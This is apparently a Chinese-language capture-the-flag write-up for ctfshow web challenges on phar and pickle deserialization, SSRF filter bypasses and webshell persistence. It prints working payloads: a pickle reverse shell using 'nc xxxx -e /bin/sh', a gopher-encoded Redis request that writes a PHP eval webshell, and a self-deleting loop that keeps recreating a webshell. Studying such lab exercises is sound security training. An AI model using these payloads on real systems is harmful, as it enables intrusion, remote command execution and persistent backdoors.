$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
#encoding=gbk
import threading
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://3769cb08-d5ff-4f8a-8fda-5eff7c9d5c41.challenge.ctf.show/"
data = open('./evil.phar', 'rb').read()
flag = True
def write():
requests.post(url+'?fn=evil.phar', data=data,verify=False)
def unserialize():
global flag
r = requests.get(url+'?fn=phar://evil.phar',verify=False)
if 'ctfshow{' in r.text and flag:
print(r.text)
flag = False
while flag:
threading.Thread(target = write).start()
threading.Thread(target = unserialize).start()
脚本是[这位师傅](ctfshow-web入门-反序列化(web271-web278)_ctfshow web271-CSDN博客)的!
这里跑了半天才跑出来
web277
看看源码注释
<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->
pickle反序列化来的
简单到不行的pickle
import pickle
import base64
class a:
def __reduce__(self):
return (eval,("__import__('os').popen('nc xxxx -e /bin/sh').read()",))
obj = a()
code=pickle.dumps(obj)
print(base64.b64encode(code))
直接弹shell,flag就在根目录下(问就是无回显)
web278
题目提示过滤了os.system
然鹅这和我们并没有任何关系
继续弹
SSRF(Complete)
web351
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
直接访问提示非本地用户禁止访问,既然是SSRF那就是在URL里输入127.0.0.1/flag.php
web352
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
hacker
parse_url这个是用来处理URL的,把它解析成各个部分后存储到数组里面
并且要求头为http/https
问题来了它这个正则写的一拓实,没waf一样
flag.php
一如既往的非本地无法访问,直接加个头就行
http://127.0.0.1/flag.php
web353
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
hacker
对味
那我要用邪门一点的方式来绕过了
http://127.1/flag.php
对于形式这样的ipx.0.0.1
可以直接缩写为x.1
同时也可以进制替换
127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost
也就是说http://127.1.1.1/flag.php其实也可以的
web354
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
这里主要的数字都waf了
那么可以有下面几种想法:
域名指向127
302跳转
DNS-Rebinding
-
- 在自己的域名里添加一条A记录指向
127.0.0.1
- 在自己的域名里添加一条A记录指向
-
- 在自己的网站页面添加
-
- 自己去ceye.io注册绑定
127.0.0.1
然后记得前面加r
- 自己去ceye.io注册绑定
url=http://r.xxxzc8.ceye.io/flag.php
web355
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
将主机名限制到5位以内,那用缩写格式就行
127.1或者0(其实就是0.0.0.0)
web356
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
限制到3位以内,127用不了了0可以
web357
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
不是很懂。。
gethostbyname:成功时返回 IPv4 地址,失败时返回主机名。
filter_var() 函数通过指定的过滤器过滤一个变量。
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)。
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)。
FILTER_FLAG_NO_PRIV_RANGE - 要求值不在 RFC 指定的私有范围 IP 内(比如 192.168.0.1)。
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
也就是说这里会验证URL的IP地址不在RFC指定的私有IP
范围内(比如 192.168.0.1),且要求值不在保留的IP
范围内。
使用DNS重绑定或者用自己的服务器打302
这里可以用第一个,因为有个快捷的网站
https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg
可以直接重绑定,你输一个不会触发内网ip验证的就可以,发包三次就可以拿到flag
分别是:127.0.0.1 ip!
1.1.1.1(我重绑定的ip
1.1.1.1 flag
为什么是三次?我也不知道,调试一下看看好了
但是怪就怪在我自己调是只有爆ip的,出不来。。
web358
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
要用http://ctf
开头show
结尾
这里利用@
在URL中,@符号通常用于在基本认证(Basic Authentication)中,将用户名和密码包含在URL中。这种用法的格式是:
http://username:password@hostname/path
在这个格式中,username:password 是登录所需的凭据,@ 符号用来分隔凭据和主机名。然而,这种做法在现代网络应用中不推荐使用,因为它容易导致安全问题,比如泄露用户凭据。
POC:
url=http://ctf.com@127.0.0.1/flag.php#show
url=http://ctf.com@127.0.0.1/flag.php?show
web359
打无密码的mysql
随便输一下转到check.php
看到POST:returl=https://404.chall.ctf.show/&u=admin
那看来这边可以写马发gopher包了
这里介绍一个工具gopherus
https://github.com/tarunkant/Gopherus.git
_
后面的部分记得二次URL编码(因为发送过去时会被编码一次)
写入成功直接连即可
web360
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
看似平平无奇,实则暗藏杀机。。
file://
协议读不出东西
尝试用dict://
探测一下端口
最后发现redis的端口是开放的
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
记得把_
后边编码
接着POST一下,这里不知道为什么POST会卡住然后报错504
但是shell.php是存在的,不知道为什么啊。。希望有大佬可以解答一下
最后直接命令执行即可,喜欢蚁剑也可以
权限维持
web670
system('echo "<?php eval($_POST[cmd]);?>" >shell.php');
var_dump(getcwd()); =>/var/www/html
之后发现无法连上
cmd=system("tac shell.php");
一看没有内容啊。。
看了下其他师傅的博客感觉我思路错了,这里是用file_put_contents
来执行
cmd=file_put_contents('shell.php','<?php @eval($_POST[cmd]);?>');
在源码里可以看到成功写入
但是连不上啊。。后来找了原因发现要在蚁剑里设置忽略https证书
然后check发现把目录清光了。。
草拟吗不死马,来
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {
file_put_contents($file, $code);
usleep(5000);
}
file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');
解析一下
set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True或者1,则忽略与用户的断开)
unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
file_put_contents函数:将一个字符串写入该文件中
usleep函数:延迟执行当前脚本数微秒,即条件竞争